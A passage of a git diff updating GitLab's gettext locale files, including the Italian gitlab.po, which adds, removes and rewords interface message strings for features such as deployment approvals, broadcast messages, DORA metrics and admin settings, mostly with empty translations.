-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/it/gitlab.po b/locale/it/gitlab.po
index bc7253c1c57..0c2c132402f 100644
--- a/locale/it/gitlab.po
+++ b/locale/it/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: it\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:40\n"
+"PO-Revision-Date: 2023-01-10 06:44\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr "%{level_name} non è consentito in un gruppo %{group_level_name}."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr "%{size} GiB"
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr "%{text} è disponibile"
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,9 +1550,9 @@ msgstr[0] "1 ruolo"
msgstr[1] "%d ruoli"
msgid "1 user"
-msgid_plural "%{num} users"
-msgstr[0] "1 utente"
-msgstr[1] "%{num} utenti"
+msgid_plural "%d users"
+msgstr[0] ""
+msgstr[1] ""
msgid "1 week remaining"
msgid_plural "%d weeks remaining"
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr "Token di accesso"
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr "Naviga direttori"
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr "Tutti"
msgid "DashboardProjects|Personal"
msgstr "Personale"
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Format: %{dateFormat}"
-msgstr ""
-
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr "Chiavi GPG"
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
